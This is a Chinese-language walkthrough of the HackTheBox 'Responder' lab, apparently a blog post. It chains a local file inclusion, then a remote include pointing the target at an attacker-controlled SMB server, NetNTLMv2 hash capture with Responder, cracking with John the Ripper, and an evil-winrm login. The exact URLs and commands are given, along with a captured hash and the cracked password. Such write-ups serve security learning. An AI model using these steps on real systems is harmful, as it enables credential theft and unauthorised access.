htb - responder

htb walkthrough原文:

本实验的重点是如何利用Windows机器上的网页上的文件包含漏洞来收集正在运行web服务器的用户的NetNTLMv2挑战。我们将使用一个名为Responder的实用程序来捕获NetNTLMv2散列,然后使用一个名为john the ripper的实用程序测试数以百万计的潜在密码,看看它们是否与用于创建散列的密码匹配。我们还将深入研究NTLM身份验证的工作过程,以及Responder实用程序如何捕获挑战。我们认为,理解工具或框架的底层工作原理是至关重要的,因为它加强了人们理解的基础,这有助于人们在现实世界中可能面临的利用场景,这些场景乍一看并不容易受到攻击。让我们直奔主题。

攻击流程及思路

扫描靶机开放端口和相应的服务

1
nmap -p- --min-rate 1000 -sV 10.129.58.87

image-20230914193416277

根据Nmap扫描的结果,该机器正在使用Windows作为其操作系统。检测到两个端口打开,其中Apache web服务器在端口80上运行,WinRM在端口5985上运行。

扫描结果

Windows远程管理(WinRM)是Windows自带的内置远程管理协议,它基本上使用简单对象访问协议与远程计算机和服务器以及操作系统和应用程序进行交互。

WinRM允许用户:

  • 通过接口与主机进行远程通信
  • 在通过网络访问的系统上远程执行命令。
  • 远程监控、管理和配置服务器、操作系统和客户端机器。

作为一名渗透测试人员,这意味着如果我们能够找到具有远程管理权限的用户的凭据(通常是用户名和密码),我们就有可能在主机上获得PowerShell shell。

关注点:

  • 80 —— http服务
  • 5985 —— winRM windows远程管理

尝试http访问靶机

  • 在浏览器输入目标机器ip
  • 发现被重定向到unika.htb,并显示连接失败

image-20230914195008565

这是打htb靶场常遇到的问题。

当访问此ip时此网站将浏览器重定向到一个新的url ”unika.htb”,而此时我们的机器不知道怎么找到这个网站。此时需要修改我们的 “/etc/hosts” 文件,将靶机ip和这个新的url绑定起来。(/etc/hosts文件用于将主机名解析为ip地址)

image-20230914195629580

重新访问此ip

image-20230914195705065

访问成功

检查网页是否存在明显的问题

点击网页的每个按钮 最终发现在语言选项这里存在一定问题

在选择法语选项时,观察到url变为了:

1
http://unika.htb/index.php?page=french.html

image-20230914200708364

注意到URL,我们可以看到french.html页面是由page参数加载的,如果页面输入没有经过清理,那么它可能容易受到本地文件包含(Local File Inclusion, LFI)漏洞的攻击。

漏洞成因——php危险函数include()

函数作用:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

本例存在这个漏洞的原因是 该网站后端URL参数处理页采用 include() 函数,借此为不同的语言提供不同的网页。由于没有对这个页面参数进行适当的处理,我们能够传递恶意输入从而查看内部系统的文件。

测试可能存在的漏洞

渗透测试人员可能尝试访问Windows机器上最常见的文件之一 —— hosts文件 来验证LFl

C:\windows\system32\drivers\etc\hosts(该文件有助于将主机名本地转换为IP地址)。

LFI测试:

1
http://unika.htb/index.php?page=../../../../../../../../../../../../windows/system32/drivers/etc/hosts

image-20230915111255236

经测试此靶机存在LFI,推测该靶机 php.ini 文件的 “allow_url_include” 一项被设置为 “On”,因此可能允许远程文件包含

测试远程文件包含:

1
http://unika.htb/index.php?page=//10.10.16.40/somefile

image-20230915143219279

验证成功

借助responder工具捕获NetNTLMv2

什么是NTLM(新技术局域网管理)?

NTLM是由Microsoft创建的身份验证协议集合。它是一种 “challenge-response” 身份验证协议,用于向Active Directory域上的资源验证客户端。

  1. 客户端将用户名和域名发送给服务器。
  2. 服务器生成一个随机字符串,称为质询。
  3. 客户端使用用户密码的NTLM散列和收到的质询进行加密(这个过程有点像hash算法),并将其发送回服务器。
  4. 服务器检索用户密码。
  5. 服务器使用从安全帐户数据库检索的哈希值来加密质询字符串。然后将该值与从客户机接收到的值进行比较。如果两个值匹配,则通过认证。NTLM

什么是NetNTLMv2

NetNTLMv2是NTLM的 质询 或 响应 经过特别格式化的字符串。

以下是一个NetNTLMv2的例子:

1
2
3
[SMB] NTLMv2-SSP Client   : 10.129.168.12
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:703b7f937c48981f:7C9FB3BE87F4BB9952A9B6202D0A7B89:010100000000000000F492E5CFE7D901133A7DEB13E0F9260000000002000800410052003300300001001E00570049004E002D0051004B004D003900590033004C0031005A003500360004003400570049004E002D0051004B004D003900590033004C0031005A00350036002E0041005200330030002E004C004F00430041004C000300140041005200330030002E004C004F00430041004C000500140041005200330030002E004C004F00430041004C000700080000F492E5CFE7D901060004000200000008003000300000000000000001000000002000003A39385CB06E35DCE5278FB17A8A580E64C663A8730F8F615FF6594871A57DFB0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00340030000000000000000000

使用工具responder 输入如下命令

1
responder -I tun0

这个命令会启动responder比你高监听本地的tun0网卡,然后等待并捕获特定的网络流量或者连接请求。

image-20230915130415864

然后在浏览器输入(这里的ip地址是攻击机的IP地址):

1
http://unika.htb/index.php?page=//10.10.16.40/somefile

image-20230915133122000

此时靶机会向攻击机请求”somefile“这个文件。对于这种情况,responder会设置一个恶意的smb服务器,诱导靶机对这个恶意的服务器执行NTLM身份验证,过程如下:

  1. 靶机将用户名和域名发送给恶意服务器
  2. 恶意服务器生成一个随机的字符串(质询)发送回靶机
  3. 靶机将用户名对应的密码和收到的 ”质询“ 进行加密发送回恶意的服务器(响应)

恶意服务器

如此,responder就能通过 质询和响应 生成NetNTLMv2了。(NetNTLMv2中包含了质询和加密响应的信息)

image-20230915133058642

靶机的密码经过加密能生成Net‘NTLMv2。但是,知道NetNTLMv2并不能逆推得到原来的密码。

生成NetNTLMv2的算法是不可逆的,虽然我们不能逆转NetNTLMv2,但是我们可以尝试使用许多不同的字符串,看看是否有哪个能生成相同的NetNTLMv2,如果有,那个字符串就是密码。

这个方法被称为hash cracking,可以借助kali中的 John The Ripper 来完成这个工作

使用 John The Ripper 暴力破解密码

将哈希文件传递给john并破解Administrator帐户的密码。散列类型由john命令行工具自动识别

1
john -w=/usr/share/wordlists/rockyou.txt hash.txt

image-20230915143904935

最终得到 administrator 的密码:badminton

使用evil-winRM远程连接靶机

Evil-winRM是一个linux机器用于远程连接windows机器的工具

1
evil-winrm -i 10.129.168.12 -u administrator -p badminton

image-20230915134805198

image-20230915135448206

最终在 “C:\Users\mike\desktop” 找到flag

image-20230915135552352

借助evil-winrm下载文件(练练手)

1
download flag.txt thisflag.txt

image-20230915135800039

查看flag内容

image-20230915135900232

总结

  • 借助nmap扫描靶机,确定开放端口及对应服务
  • 根据开放的端口,确定着手点
    • web漏洞
    • windows远程连接
  • 访问目标网站,检查可能存在的漏洞
    • 本地文件包含(LFI)
    • 远程文件包含(RFI)
  • 对漏洞进行验证 —— 验证成功
  • 利用漏洞
    • 开启responder监听vpn网卡
    • 修改URL使靶机试图访问攻击机并加载文件
    • responder诱导靶机进行身份验证并借此获得靶机用户名和加密后的密码信息
  • 破解密码
    • 借助john进行哈希碰撞,暴力破解得到靶机的密码
  • 远程连接靶机
  • 找到flag